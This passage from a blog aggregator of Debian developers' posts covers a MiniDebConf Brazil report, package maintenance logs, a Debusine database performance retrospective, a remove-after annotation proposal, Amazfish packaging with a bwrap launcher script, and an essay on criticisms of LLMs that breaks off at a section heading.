  • Salsa CI, showing features that almost nobody knows

    I wrote a blog post about one of the things I learned in this talk, and there is still a lot more to explore. Aquila Macedo is developing many cool features in Salsa CI.

  • Free Software: Freedom, Autonomy, Sovereignty

    I had been really looking forward to this one. Alexandre Oliva is a very important figure in the Free Software movement, especially in South America. I'll need to rewatch it, my futures talks about Free Software will likely be inspired by this one.

  • What I've lived/seen in 33 Years of Debian & Free Software in general

    Eduardo Maçan was the first Debian Developer in Brazil, so it's always valuable to hear the story from someone who was part of it.

  • Symbolism - an introduction

    Despite the title, this talk was not about astrology! I'll probably rewatch it as well, as there is a lot of information to take in. I really like the passion Sérgio Durigan has for C. He is also a great speaker and knows how to guide the audience through the topic.

  • Debate: Contemporary controversies in Debian

    The debate itself was great, but the conversations we had afterward were even better. I changed some of my opinions after hearing different perspectives. I don't think this format would work at DebConf, but I would definitely like to attend another one like this.

  • Why LTS on Debian?

    I had a few questions about LTS, and Kanashiro and Santiago answered them both during the talk and in the Q&A session. They also shared some challenges and how to avoid them, it was a great learning experience.

  • From my first contribution to the Debian Maintainer

    Polkorny was a bit shy but did a great job! I really enjoy this kind of talk. It is always nice to see the different paths people take.

Unfortunatly, I couldn't attend everything I was interested in, as always.

DayTrip - The Brazilian Particle Accelerator

Sirius is the largest and most complex scientific infrastructure ever built in Brazil and one of the most advanced synchrotron light sources in the world. My jaw dropped the entire time; it's hard to describe how incredible this is.

My favorite detail: they're running Debian :)

Wrap up

I believe this was the best MiniDebConf Brazil so far. There were many other things I chose not to include here, as this post is already quite long. Still, here are a few more highlights:

  • A Bug Squashing Party
  • Driving Samuel Henrique's drones
  • Lots of capybaras
  • A small birthday party
  • A visit to two data centers
  •  

Colin Watson: Free software activity in April 2026

11 Mei 2026 om 14:25

My Debian contributions this month were all sponsored by Freexian.

You can also support my work directly via Liberapay or GitHub Sponsors.

dput-ng

Ian Jackson reported that dput-ng could lose data when using the local install method (relevant in tests of other packages, for instance) and filed an initial merge request to fix it. I improved this to isolate its tests properly, and uploaded it.

groff

I upgraded from 1.23.0 to 1.24.1. 1.24.0 and 1.24.1 were the first upstream releases since 2023, and had extensive changes; I’d had the corresponding packaging changes in the works since January, but it took me a while to get round to finishing them off. It was good to get this off my list.

OpenSSH

I released bookworm and trixie fixes for CVE-2026-3497, and issued the corresponding BSA-130 for trixie-backports.

I upgraded from 10.2p1 to 10.3p1.

parted

I upgraded from 3.6 to 3.7. 3.7 was the first upstream release since 2023, but the changes were nowhere near as extensive as groff, so this was a fairly quick job. I also fixed the parted-doc package to ship proper API documentation.

Python packaging

New upstream versions:

I started an upstream discussion about how best to handle the pydantic and pydantic-core packages now that they share an upstream git repository.

Other bug fixes:

Rust packaging

New upstream versions:

I packaged rust-validator, which is part of the work needed to get the ruff packaging back in shape.

YubiHSM packaging

I upgraded from 2.7.2 to 2.7.3.

Code reviews

  •  

Freexian Collaborators: Debusine workflow performance issues (by Colin Watson)

11 Mei 2026 om 02:00

During March and April, we had a number of performance issues that made Debusine’s core functions of running work requests and reflecting their results in workflows quite unreliable. Investigating and fixing this took up a lot of time from both the Debusine development team and Freexian’s sysadmins.

The central problems involved a series of database concurrency and worker communication issues that interacted in complex ways. On bad days, this caused between 10% and 25% of processed work requests to fail unnecessarily. We communicated some of the problems to users on IRC, but not consistently since we didn’t entirely understand the scope of the problems at the time.

Most of the problems are fixed now, but we had a retrospective meeting to make sure we understood what happened and that we learn from it. Here’s a summary.

Data model

Debusine’s workflows consist of many individual work requests. Each work request has a database row representing its state, which means that the overall state of a workflow is distributed across many rows. Changes to one work request (for example, when it is completed) can cause changes to other work requests (perhaps unblocking it so that it can be scheduled to an idle worker). Those changes may happen concurrently, and in practice often do.

Workers typically need to create artifacts containing the output of tasks: these include things like packages, build logs, and test output.

Debusine records task history so that it can make better decisions about how to schedule work requests. Since this might otherwise grow without bound, the server expires older parts of that history after a while. The same is true for many other kinds of data.

Causes

  • Because workflows involve changes that propagate between work requests, there were historically some cases where different parts of the system could deadlock due to trying to take update locks on overlapping sets of work request rows in different orders. We mitigated that somewhere around 2025-11-05 by locking entire workflows in one go before making any change that might need to propagate between work requests like this; that dealt with the deadlocks, but it’s quite a heavyweight locking strategy that sometimes caused significant delays.

  • We’ve been working for some time to make Debusine useful to Debian developers, and regression tracking is an important part of that: it lets developers test uploads without being too badly misled by tests in related packages that were already failing before they started. On 2026-03-11 we enabled this by default on debusine.debian.net, after testing it for a while. Although this is useful, it put more load on the system as a whole, often approximately doubling the number of work requests in a given workflow with many additional dependencies between them.

  • Like much of the world, we’re in an arms race with unethical scrapers desperately trying to feed everyone else’s data into LLMs before they run out of money. We saw a substantial uptick here towards the end of March, which meant that we had to temporarily disable regression tracking and to put some other mitigations in front of our web interface.

  • We historically haven’t had systematic internal timeouts. Prompted by ruff, a Google Summer of Code applicant went through and added timeouts in many places, including some calls between the worker and the server. This was fiddly work and the student did a solid job, so I’m not putting them on blast or anything! However, it did mean that some things that came in under load balancer timeouts now timed out earlier on the client side of the request (and hence in Debusine workers), which made some problems show up in different ways and be more obvious. This was deployed on 2026-04-03.

Fixes

Workflow orchestration

Figuring out what individual work requests need to be run as part of a workflow - the process we call “orchestration” - can be challenging. Unlike typical CI pipelines, these workflows often span substantial chunks of a distribution: a glibc update can involve retesting nearly everything! Nevertheless, it’s not particularly helpful for it to take hours just to build the workflow graph.

Fixing this involved many classic database optimizations such as adding indexes and CTEs, but probably the most effective fix was adding a cache for lookups within each orchestrator run or work request. Profiling showed that resolving lookups was a hot spot, and the way that task data is often passed down through a workflow meant that the same lookup could be resolved hundreds or thousands of times in a large workflow.

Expiry

We knew for quite some time that our expiry job took very aggressive locks, effectively blocking most of the rest of the system. This was an early decision to make the expiry logic simpler by allowing it to follow graphs without worrying about concurrent activity, but it clearly couldn’t stay that way forever.

Row locks in PostgreSQL was very helpful in figuring out the correct approach here. Since we’re mainly concerned about the possibility of new foreign key references being created to artifacts we’re considering for expiry, and since that would involve taking FOR KEY SHARE locks on those rows, we can explicitly take FOR UPDATE locks (which conflict with FOR KEY SHARE), and then recompute the set of artifacts to expire with any locked artifacts marked to keep. This was delicate work, but it saved minutes of downtime every day.

Whole-workflow locking

I mentioned earlier that we avoided some deadlock issues by taking locks on entire workflows. To ensure that these locks are effective even against code that isn’t specifically aware of them, this is implemented by using SELECT FOR UPDATE on all the work request rows in the workflow. In some cases the search for which rows to lock itself tripped up the PostgreSQL planner.

Scheduling

We run multiple Celery workers for various purposes. Some of them can do many things in parallel, but in some specific cases (notably the task scheduler) we only ever want a single instance to run at once. Unfortunately a bug in the systemd service meant that the scheduler often ran concurrently anyway! Once we fixed that, the scheduler logs became a lot less confusing.

When Debusine was small, it was reasonable for it to perform scheduling very aggressively, typically as soon as any change occurred to a work request or a worker that might possibly influence it. This doesn’t scale very well, though, and even though we tried to batch multiple scheduling triggers that occurred within a single transaction, it could still make debugging very confusing. We reduced the number of changes that would result in immediate scheduling, and deferred everything else to a regular “tick”.

The scheduler may not be able to assign a work request to an idle worker due to the workflow being locked. That isn’t a major problem in itself; it can just try again later. However, in very large workflows, we found that it often worked its way down all the pending work requests one by one finding that each of them was locked, which was slow and also produced a huge amount of log noise. It now assumes that if a work request is locked, then it might as well skip other work requests in the same workflow until the next scheduler run.

Between them, these changes reduced the number of locks typically being held on debusine.debian.net by about 80%:

Lock graph

Worker refactoring

The Debusine worker has always been partially asynchronous, but while it was actually executing a task - in other words, most of the time, at least in busy periods - it didn’t respond to inbound websocket messages, causing spurious disconnections. We restructured the whole worker to be fully event-based.

We also had to put quite a bit of effort into improving the path by which workers report work request completion, because if that hits a timeout then it can mean throwing away hours of work. We have some further improvements in mind, but for now we defer most of this work to a Celery task so that whole-workflow locks aren’t on the critical path.

Database write volume

One of our sysadmins observed that our database write volume was consistently very high. This was a puzzle, but for a long time we left that unexplored. Eventually we thought to ask PostgreSQL’s own statistics, and we found a surprise:

debusine=> SELECT relname AS table_name,
debusine->        n_tup_ins AS inserts,
debusine->        n_tup_upd AS updates,
debusine->        n_tup_del AS deletes,
debusine->        (n_tup_ins + n_tup_upd + n_tup_del) AS total_dml
debusine-> FROM pg_stat_user_tables
debusine-> WHERE (n_tup_ins + n_tup_upd + n_tup_del) > 0
debusine-> ORDER BY total_dml DESC
debusine-> LIMIT 20;
              table_name              | inserts |  updates   | deletes | total_dml
--------------------------------------+---------+------------+---------+------------
 db_collectionitem                    | 1418251 | 3578202388 | 3630143 | 3583250782
 db_token                             |   15143 |   11212106 |   11389 |   11238638
 db_workrequest                       |  386196 |    6399071 | 1820500 |    8605767
 db_fileinartifact                    | 2783021 |    1837929 | 1663887 |    6284837
 django_celery_results_taskresult     | 1819301 |    1501623 | 1791656 |    5112580
 db_artifact                          |  960077 |    3340859 |  663890 |    4964826
 db_collectionitemmatchconstraint     | 1550457 |          0 | 2207486 |    3757943
 db_artifactrelation                  | 2229382 |          0 | 1363825 |    3593207
 db_fileupload                        | 1023400 |    1057036 | 1023346 |    3103782
 db_file                              | 1673194 |          0 |  970252 |    2643446
 db_fileinstore                       | 1411995 |          0 |  970259 |    2382254
 db_filestore                         |       0 |    2381578 |       0 |    2381578
 django_session                       |  645423 |    1519880 |     531 |    2165834
 db_workrequest_dependencies          |  365877 |          0 |  936537 |    1302414
 db_worker                            |   18317 |     949280 |    9487 |     977084
 db_collection                        |   10061 |         85 |  177741 |     187887
 db_workerpooltaskexecutionstatistics |   28721 |          0 |       0 |      28721
 db_workerpoolstatistics              |    1640 |          0 |       0 |       1640
 db_workflowtemplate                  |     130 |        158 |     649 |        937
 db_identity                          |      76 |        661 |       0 |        737
(20 rows)

Oh my - that’s a lot of db_collectionitem updates and must surely be out of proportion with what we really need. Can we narrow that down by asking about the most recently-updated tuples?

debusine=> SELECT DISTINCT category
debusine-> FROM db_collectionitem
debusine-> WHERE id IN (
debusine->     SELECT id FROM db_collectionitem
debusine->     ORDER BY xmin::text::integer DESC LIMIT 10000
debusine-> );
           category
------------------------------
 debusine:historical-task-run
(1 row)

That might not be absolutely reliable, but it was certainly a hint. As per PostgreSQL’s documentation, by default UPDATE always performs physical updates to every matching row regardless of whether the data has changed, and our code to expire old task history entries wasn’t doing that properly. Once we knew where to look, it was easy to add some extra constraints.

This reduced our mean write volume on debusine.debian.net from about 23 MB/s to about 3 MB/s, which had an immediate knock-on effect on our request failure rate:

Disk write graph

HTTP errors

Current state

Our metrics indicate that things are a lot better now. We still have a few things to deal with, such as:

  • Some more performance fixes are on their way to fix some remaining cases where views are very slow or where file uploads from workers fail due to locks.
  • We have some changes in the works to revamp how work request changes propagate through workflows in a way that doesn’t require so many heavyweight locks.
  • We have a number of monitoring and alerting improvements we’d like to make, both for outcomes (things like slow Celery tasks) and possible root causes (database performance). We’d also like to deploy some more modern observability tools; hunting for things using journalctl isn’t terrible, but it’s not really the state of the art.
  • We need to improve how we communicate to users when we’re having operational problems, both informally (IRC, etc.) and on the site.
  • Retries don’t always behave the way you’d expect in workflows.

I hope this has been an interesting tour through the sorts of things that can go wrong in this kind of distributed system!

  •  

Steinar H. Gunderson: MySQL hypergraph optimizer

10 Mei 2026 om 10:30

MySQL released (well, flipped the default compilation flag for) the hypergraph join optimizer in the community builds; this was the main project I started and worked on while I was there, so it's nice to see even though it's been default in e.g. their cloud column store for a long time. You can read their blog post (though beware, likely-LLM text ahead).

(The cost model improvements and TPC-DS benchmarking are from after my time.)

  •  

Dirk Eddelbuettel: RcppSpdlog 0.0.29 on CRAN: Small Enhancement

10 Mei 2026 om 00:49

Version 0.0.29 of RcppSpdlog arrived on CRAN today, has been uploaded to Debian and built for r2u. The (nice) documentation site has been refreshed too. RcppSpdlog bundles spdlog, a wonderful header-only C++ logging library with all the bells and whistles you would want that was written by Gabi Melman, and also includes fmt by Victor Zverovich. You can learn more at the nice package documention site.

This release features a rewritten internal routine unpacking the R variadic arguments into C++ variadic template arguments. This in turn allows to turn back to std::format in C++ mode when C++20 is used. We also adjust for the not-quite-ready-for-this state of the x86-64 based macOS machine at CRAN. It is running a compiler and SDK choice that cannot fully deal with C++20, so we dial compilation on it down to C++17. Similarly, and as we found out after the release, Ubuntu jammy is also too old to default to std::format so we need to add a better detection here too so that we can also fall back to the included fmt there.

The NEWS entry for this release follows.

Changes in RcppSpdlog version 0.0.29 (2026-05-08)

  • Some small continuous integration updates

  • The internal formatter was rewritten as a recursive generator of variadic templates.

  • Switch back to std::format with C++20, but force inferior macos-release-x86_64 to use C++17 rather than default C++20 which fails

Courtesy of my CRANberries, there is also a diffstat report detailing changes. More detailed information is on the RcppSpdlog page, or the package documention site.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub.

  •  

Jelmer Vernooij: Remove-after Annotations for Debian Files

9 Mei 2026 om 20:45

deb-scrub-obsolete is a tool in the debian-codemods suite that tries to identify and remove cruft automatically. It knows about dummy transitional packages, superseded alternatives, and similar patterns it can detect by querying the archive. But some workarounds are too project-specific for a generic tool to recognise on its own.

Developers can leave structured comments in their packaging files that tell deb-scrub-obsolete when a particular line or block can be removed.

The Debian Janitor regularly runs various codemods like deb-scrub-obsolete on all vcs-accessible Debian packages. This means that if you leave a “remove-after: trixie” annotation in your package, you will automatically get a pull request to remove the annotated code once trixie has been released, without needing to remember to do it yourself.

The Comment Format

The annotations take the form of specially-formatted comments. For shell files (and by extension most maintainer scripts), a line-level annotation looks like this:

install -m 755 compat-wrapper /usr/lib/foo/  # remove-after: trixie

When trixie has been released, deb-scrub-obsolete will remove that line entirely. The comment can appear anywhere on the line — before or after other comments — and additional explanatory text can follow:

blah  # Trixie comes with blah built in # remove-after: trixie

For larger sections, block-level annotations bracket the code to remove:

# begin-remove-after: trixie
alternatives --add foo bar
alternatives --add foo bar1
# end-remove-after

These blocks can be nested, which is useful when one outer condition wraps several inner ones with finer-grained timing.

Expressions

The initial set of supported expressions is deliberately small. The main one is a Debian release name: remove-after: trixie means “once trixie has been released”. The condition is checked against distro-info <https://manpages.debian.org/trixie/distro-info/distro-info.1.en.html>_, the same data source that other Debian tooling uses to track release status.

The expression language is designed to be monotonic — conditions should only ever go from false to true, not back. A workaround that needs to be re-introduced after removal belongs in a new commit, not in an annotation. If deb-scrub-obsolete cannot parse an annotation it finds in a file, it leaves all annotations in that file untouched, to avoid a situation where related blocks are only partially removed.

Annotations can also carry a marker name — an arbitrary label with no spaces, commas, or the word “after” — which can then be passed to deb-scrub-obsolete on the command line. This makes it possible to trigger removal of a named set of annotations together, useful for coordinated transitions where several packages need to be cleaned up at the same time.

Future Extensions

The initial expression set is minimal; the design leaves room for richer conditions. Some candidates under consideration:

  • Whether a particular suite has a new enough version of a package (removing a Build-Depends version constraint once it is satisfied everywhere)
  • Whether a package has been removed from the archive
  • Whether all currently-supported releases contain a new enough version
  • Whether a Debian transition has completed

Compound expressions using “and” / “or” are also on the list, for cases where removal depends on multiple conditions being true simultaneously.

Status

The annotation format is specified but not yet implemented in deb-scrub-obsolete - it is planned for a future release. If you maintain Debian packages and have opinions on the annotation format or the expression language, feedback is welcome. The specification lives in scrub-obsolete/doc/scrub-annotations.md in the lintian-brush repository. Many thanks to Helmut Grohne for the initial suggestion and feedback on the design.

  •  

Russell Coker: Packaging Amazfish for Debian

9 Mei 2026 om 14:04

I have done some packaging work on Amazfish (the smart-watch software that works with the PineTime among others) for Debian. Here is my Git repository for libnemodbus (a dependency for Amazfish that isn’t in Debian) [1]. Here is my Git repository for Amazfish itself [2].

These packages are currently using QT5 which is a good reason to not upload them now as the transition to QT6 is in progress. Patching them to work with QT6 (as the libnemodbus upstream is apparently not migrating to QT6 yet) shouldn’t be that difficult but is something that needs some care and communication to get it right.

Running this package on my laptop with my PineTime (which worked very reliably when run by GadgetBridge on Android) wasn’t reliable and the PineTime would disconnect and refuse to connect again. Doing it on the Furilabs FLX1s gave a similar result. If Amazfish was the only Bluetooth program having problems on my laptop and on my FLX1s then I’d blame it, but both those systems have some other Bluetooth issues.

Running this on my laptop Amazfish would send it’s own test notifications to my watch but system notifications (from notify-send among others) wouldn’t get sent. Running this on my FLX1s I got ONE notification from my network monitoring system sent to my watch before my phone and watch stopped talking to each other.

To make things even more difficult for me the harbour-amazfish-ui program doesn’t work correctly with the libraries installed on my FLX1s and doesn’t display the content of many screens but it works correctly when running in a container environment with stock Debian/Testing.

Below is the script that I’m currently using to launch apps in a Debian/Testing container on my FLX1s. The comment about unshare-user doesn’t apply to this version of the script but I left it in to avoid the potential for future confusion. The Furilabs people diverted the bwrap binary and have a wrapper that removes a set of parameters that they think will cause problems.

#!/bin/bash
set -e

BUILDBASE=/chroot/testing

# bwrap: Can't mount proc on /newroot/proc: Device or resource busy
# get the above with --unshare-user and --unshare-pid
exec bwrap.real --bind /tmp /tmp --bind /run /run --bind $HOME $HOME --ro-bind $BUILDBASE/etc /etc --ro-bind $BUILDBASE/usr /usr --ro-bind $BUILDBASE/var/lib /var/lib --symlink usr/bin /bin --symlink usr/sbin /sbin --symlink usr/lib /lib --proc /proc --dev-bind /dev /dev --die-with-parent --new-session "$@"

Due to the range of problems I’m having I think it would be best to pass this package on to someone else who has a different test setup. It could be that further testing will reveal that my issues are related to bugs in Amazfish but I can’t prove it either way at this time. Maybe when using a smart watch other than a Pine Time it will work more reliably but it seems most likely that my laptop and phone are to blame. I can’t make more progress on this now.

Related posts:

  1. Ebook Readers in Debian Laptop For a while I’ve been using Calibre 8.5.0+ds-1+deb13u1 in...
  2. More About Ebook Readers in Debian FBReader After my previous blog post about eBook readers in...
  3. SE Linux Policy Packaging for a Distribution Caleb Case (Ubuntu contributer and Tresys employee) has written about...
  •  

Russell Coker: Bad Criticism of LLMs (not AI)

9 Mei 2026 om 12:40

Discussion of “AI” systems seems to be dominated by fears of uncommon and unlikely threats. I think that we should be focusing more on real issues with LLMs and with society in general and put the most effort towards the biggest problems.

It’s Not AI

True Artificial Intelligence [1] (IE a computer that has the mental capacity of a household pet) is something that I think can be developed, but it hasn’t been developed and we don’t have good plans for developing it. We seem to be a lot further away from achieving that goal than we were from landing on the moon in 1962 when JFK gave his historic speech.

What we have is a variety of pattern recognition systems that can predict what fits into a pattern. The most well known type of Machine Learning (ML) is the Large Language Model (LLM) which means ChatGPT and similar systems which predict which text would be likely to come next and can make an essay from it. They can give interesting and useful output, but there is no thought behind it, it’s just a better form of Eliza (the famous program from 1964 that simulates conversation by pattern matching) [2]. By analysing billions of documents, storing the data in a condensed mathematical way, and then using computation to extract from that record LLMs can produce output that is unfortunately considered by some people to be good enough to include in legal documents submitted to courts, university assignments, and many other documents. But they do so without even having the thinking ability of a mouse.

To call current systems “AIs” without any significant qualifiers when criticising them is to concede the debate about the worth of such things.

If we develop AIs that can actually think we will have to deal with the issues in the SciFi horror short story Lena by qntm [3].

The Bad Arguments

Here is a list of some of the most unreasonable arguments I’ve seen against “AI” which distract attention from real problems both related to “AI” and other problems in society.

Suicide and Homicide

Wikipedia has a page listing Deaths Linked to Chatbots [4] which right now has 16 entries from 2023 to Feb 2026. They are all tragedies and as a society we should try to prevent such things. But what I would like to see from the media is some analysis of overall trends, yes it gets people’s attention when someone dies in an unusual way but we need to have attention paid to the more numerous deaths which are preventable. It has become a standard practice to give information on Lifeline in media referencing suicide, it would be good if they also developed a practice of mentioning the relative incidence of a problem when publishing an article about it.

One of the many factors that cause more suicides than chatbots is school, Scientific American has an informative article from 2022 about the correlation between child suicide and school [5]. It is based on US statistics and shows that the lowest suicide rate is in July (a no-school month in the US) which has a rate of 2.3 per 100,000 person years. So if kids had a quality of life equivalent to July all year around then there would be 2.3 suicides per 100,000 kids every year while if they had a quality of life equivalent to a Monday in January or November it would be 3.9 suicides per 100,000 kids every year. The article states “Any time I present these data to teachers, parents, principals or school administrators, they are shocked. This should be common knowledge.” It is common knowledge to anyone who takes any notice of what happens in schools, but paying attention to serious problems is unpleasant, it’s more fun to pretend that school is good for everyone. No parent wants to think that they sent their child to a place that was horrible, no teacher wants to think that they are part of a system that harms kids.

The US CDC has an informative article about youth suicide [6] which documents it as the 3rd largest cause of death in the 14-18 age range fro 2021. This article was published in 2024 and based on statistics from 2023 and earlier. It notes significant differences in suicides, attempts, and “persistent feelings of sadness or hopelessness” which had girls at more than twice the rate of boys and “LGBQ+” kids at more than twice the rate of “heterosexual” students. It seems obvious that misogyny and homophobia is correlated with suicide and that’s something that could and should be addressed in schools. My state has a Safer Schools program [7] to try and alleviate the problems related to homophobia, but I expect that things are getting worse in the US in that regard. 39.7% of kids in US high schools had “persistent feelings of sadness or hopelessness” before LLMs became popular, school could and should be a happy time for the vast majority of kids but instead almost half of the kids don’t enjoy it and a majority of girls and “LGBQ+” kids don’t. Having no mention of trans kids is a significant omission from that article, based on everything I’ve heard from trans people I expect that their statistics would be even worse.

One could argue that the small number of deaths inspired by use or misuse of LLMs is an indication of a larger number of people suffering in ways that don’t result in death and don’t get noticed. But I don’t think that can compare to the fact that the majority of girls and “LGBQ+” kids have “persistent feelings of sadness or hopelessness” in the current school system.

Regarding homicide, the Australian Institute of Criminology has an article showing that in the 2003-2004 time period 49% of women who were killed were listed as a “domestic argument” [8], that’s something that could and should be addressed. That article claimed 308 homicide victims in that time period which is larger than the world-wide death toll from LLMs but also less than 1/3 the death toll from car accidents in Australia. Australia has less than 0.4% of the world population, a fairly low homicide rate, and a number of homicides that vastly outnumbers all world homicides related to LLMs.

I think it’s great to address any cause of suicide or homicide, but devoting government resources and legislation towards very uncommon causes instead of things that happen every day is not a good strategy. It would be fine to address all factors leading to suicide, but problems with the school system have been a major factor for decades with little effort applied to fix it.

Fraud and Other Crime

There is evidence of criminals using LLMs to help prepare for crimes, the ability to generate large amounts of text quickly can be used for fraud and extortion. This is going to be a serious problem and we need structural changes to society to deal with it. There is an ongoing issue of scammers convincing older people that their child or other young relative is in trouble and a large amount of cash is required to address it. This sort of scam as well as the more well known “Nigerian” scams will probably become more common as the cost of running them decreases. This may be more of a problem for people in developing countries as currently a common scam business model is to have people in regions where wages are low (such as Pakistan for one who I spoke to) scamming people in relatively wealthy countries like Australia so an attack with a low probability of success is financially viable. Cheaper attacks will make less affluent victims financially viable to the scammers.

While writing this post I received a financial scam phone call trying to get me to invest in SpaceX that was run by an “AI” chat system, I expect to receive more of them and this is something that needs to be dealt with via both technical measures and legislation.

Do we have to accept less freedom and less anonymity in finances as a cost of reducing financial crime? Greater restrictions on the use of cash would make some crimes more difficult or less profitable for criminals. As a society I think we need to have a discussion about a balance between financial freedom and freedom from criminal exploitation, failing to have such a discussion is likely to lead to policies which don’t work well.

Also one thing that ML systems are good at is recognising patterns in data. Banks could scan all their transactions and look for patterns that correlate with fraud. They currently do this badly and do things like locking credit cards when someone goes to another country and spends money. They could do a better job of that and involve the police in cases of obvious fraud even when the customer doesn’t realise that they are a victim.

This isn’t a reason to criticise “AIs”, it’s a reason to plan defensive technology that matches the capabilities of attackers.

As an aside I used to work for a company that was developing “AI” software to scan bank phone calls and allow banks to recognise employees who acted illegally. Unfortunately the Royal Commission into banking misconduct [9] didn’t impose any penalties that gave the banks a financial reason to avoid criminal activity.

Unemployment and Inequality

There are many claims about AI systems making large numbers of jobs obsolete, some of them are outlandish such as the claims that all white-collar jobs will be obsolete in the near future. There are some reasonable claims like the ability to replace some mundane jobs.

Replacing jobs that suck with computers, robots, and other machinery is a good thing! Very few people wish that they were working on a farm without a tractor. In 1900 it’s estimated that between 60% and 70% of the world labour force worked in agriculture and 40% of the US labour force did so. Now it’s something like 27% globally and between 1% and 3% in developed countries. Automated factories are also a good thing, it’s best to avoid boring and dangerous work.

The most plausible claims about job replacement from “AI” is jobs that involve analysing and summarising documents. One example that comes to mind is the worst kind of journalism where press releases from companies are massaged into the format of a feature article. I don’t think anyone wants that sort of job and doing it with “AI” hopefully means no human has to sign their name to it.

For work like programming few people will be directly replaced by “AI” but if people can do their work more efficiently while using it then less people are required. I don’t think that any programmer likes the part of their job where they have to skim read long documents looking for a clue about how to solve a problem with a library or protocol. A LLM processing the document and finding the potentially useful things will take away the drudgery from the work and allow greater productivity.

The trend in replacing people has been making people work longer. If you force all employees to work 60 hour weeks then that can theoretically allow hiring fewer people than having 40 hour weeks. For some work that applies but for skilled work it mostly doesn’t as productivity and work quality on average drops when people work more than 40 hours in a week.

Another trend for exploiting people is having a low minimum wage and making accommodation expensive so that many people need to work two jobs. What we need is legislation to restore the situation in the 70s where a single full time job was sufficient to provide for a family. The low minimum wage and high expenses for many things is a problem that’s been slowly developing over the course of decades while being mostly ignored by journalists. If they could concentrate on the real issues that are hurting workers today they could incite political action to fix these problems.

Academic Cheating

There is no shortage of ways of cheating in school and university. There are people who are paid to write essays, mobile phones are used for cheating in exams, etc. Getting an “AI” to write essays makes it easier to cheat for the essay writing part but does so with lower quality and in a less stealthy way.

What’s the worst case scenario? That we have to change to oral exams for all university subjects?

In the US the average annual price for tuition at a university is apparently $25,000, if each student had individually supervised assessment for their exams at a cost of $100 per hour it would make the degree cost 4% more. The cost of university in the US is unreasonably high and that’s a problem that needs to be fixed, but a hypothetical case of increasing the price by 4% isn’t going to be a major part of it.

Weak Arguments Against “AI”

Computer Security Attacks

There have been many claims made that “AI” will break the security of all systems and cause the type of disruption that was previously predicted for year 2000. Bruce Schneier has written a good analysis of the issues including how “AI” can be used by both attackers and defenders [10], he doesn’t have a strong conclusion on whether the net result will be good or bad but his article does make it clear that the result is not going to be a total disaster.

While I was working on this post I read another post by Bruce Schneier that was significantly more negative about this issue [11]. While I still don’t think this will destroy civilisation I found his other post convincing enough to move computer security from the bad argument section to the weak argument section.

Spidering the Web to Death

There are issues of bots from “AI” companies doing a bad job of trying to download all the Internet’s content and using a lot of resources. When it was just the major search engines and the Wayback Machine doing it the load was small due to having a small number of organisations that were very good at the way they did it having evolved practices over many years. Now we have a lot of idiots doing it badly and repeatedly hitting generated content.

This is really annoying but is something that we can deal with. Currently my blog and many other sites are hosted on a Hetzner server with a E3-1271 v3 CPU with 32G of RAM and there are occasions where more than half the CPU power is being used to service web requests from such systems. Even on the “server bidding” (renting servers previously used by other customers) Hetzner isn’t offering systems so slow nowadays, the slowest they offer is about 20% faster than that. This is something that can be dealt with by spending a little more on hosting until the companies doing that go bankrupt.

I’m sure this is a serious problem for some people, but for most people it’s not a big deal. Also hostile traffic on the Internet is something we have all had to deal with as a part of life since the mid to late 90s.

RAM Prices

The unreasonably high prices for RAM are annoying and hurt the development of useful computer projects. Big companies can afford it, even with current high prices and large quantities of RAM used for some servers it’s still not significant. But it is a major issue for hobbyists and small projects. Things like setting up a dozen test VMs for FOSS development are now too expensive for many people who develop software in their spare time.

But this is a temporary thing, if AI companies were to keep buying RAM at high rates for a few years companies would just manufacture more of it to meet demand. In some situations capitalism can work.

Environmental Damage

There are many people claiming that power used by data centers for “AI” will lead to environmental damage, using power and water when there isn’t enough.

The trend of computer hardware is to get smaller and faster. It hasn’t been going as fast as it used to in many areas but it hasn’t stopped either and it’s an exponential trend. There has been an increase in data centers (DCs) for “AI” use as the use has been increasing faster than the hardware gets smaller. Eventually they will stop increasing faster than advances in hardware and software can match and the size of DCs will decrease.

As the production of renewable energy is increases the environmental cost of energy hungry industries decreases. In a few years this won’t be an issue anyone is bothered about.

False Claims About Danger as PR

Jamie McClelland makes an interesting claim that the AI companies are pushing dangers of “AI” as a method of PR [12]. That seems plausible and combined with the tendency of many journalists to just massage press releases from companies into articles could be the reason for a lot of the bad arguments against AI.

Good Arguments Against AI

Spam Everywhere

I’ve previously written about Communication and Hostile AIs [13]. I think that filling all communication channels with rubbish is a denial of service attack against society.

In the past communication took some effort, even the simplest email that was directly targeted at the recipient took some human effort and that reduced it’s frequency. I get a lot of spam saying something like “I see your web site doesn’t rank in the top for Google searches” while my web site in fact rates well and the actor named Russell Coker is ranking below me, so I know that such spam hasn’t had the minimum of human involvement. Now a spammer who wanted to do a better job could get an LLM written spam for every target so the message was specifically aimed at them and would take much longer to be recognised by a human as spam and would also avoid most anti-spam software.

Searching for businesses used to be easy, the phone book had listings for them and there was a real cost to being in the book as well as humans actively trying to stop fraud. Creating fake web sites to get business isn’t too difficult but it’s also not trivial at the moment and such fake sites won’t look complete. Now with LLMs it’s possible to create hundreds of sites that have content and look reasonable without human involvement. Instead of the small number of suicides and homicides inspired by “AI” chat systems we should probably be concerned about people who need psychological or medical advice being misled by bogus web sites created as part of fraud campaigns. Imagine people searching for mental health assistance finding web sites run by cults who oppose psychology as a profession. Imagine people searching for basic medical advice such as how to cook a healthy meal getting sucked in to web sites that start sane and then lead people to Ivermectin as a universal medicine.

LLMs have the potential to take spam from quick and simple attacks to large scale targeted fraud aimed at people and organisations that don’t have the resources to defend against it. There have been many reports of CEO impersonation fraud against major corporations aiming to steal hundreds of thousands of dollars and fraud against individuals who are persuaded to get amounts like $50,000 to help a relative who is allegedly in a difficult situation. But if every corner store experienced the same type of attack that CEOs experience and if every child had someone trying to steal the pocket money in the same way that relatively wealthy people are being targeted now it would really change things.

David Brin wrote an insightful and informative blog post about this focusing on how “AI” generated content is being allowed to destroy YouTube [14].

Deep Fakes

There is some overlap between filling all communications channels with rubbish (fake news etc) and deep fake. Making a fake photo of a politician or celebrity to lobby for legislative changes is a real issue but it’s not what most people think of when the term “deep fake” is used.

Using photo and video faking targeting non-consenting people is a serious issue. It’s not just fake porn (which is a major issue and will cause some suicides) as there are many other possibilities. Fake videos showing behaviour that justifies sacking people from their jobs is going to become an issue, for people in public facing positions even proof that the videos are fake won’t necessarily help them.

Will we find ourselves in a situation where every politician gets deep-fake porn made of them and the only people who run for public office are ones who are cool with that? Will positions of leadership in the technology industry be restricted to people who aren’t bothered by having the most depraved fake porn made of them?

The Justice System

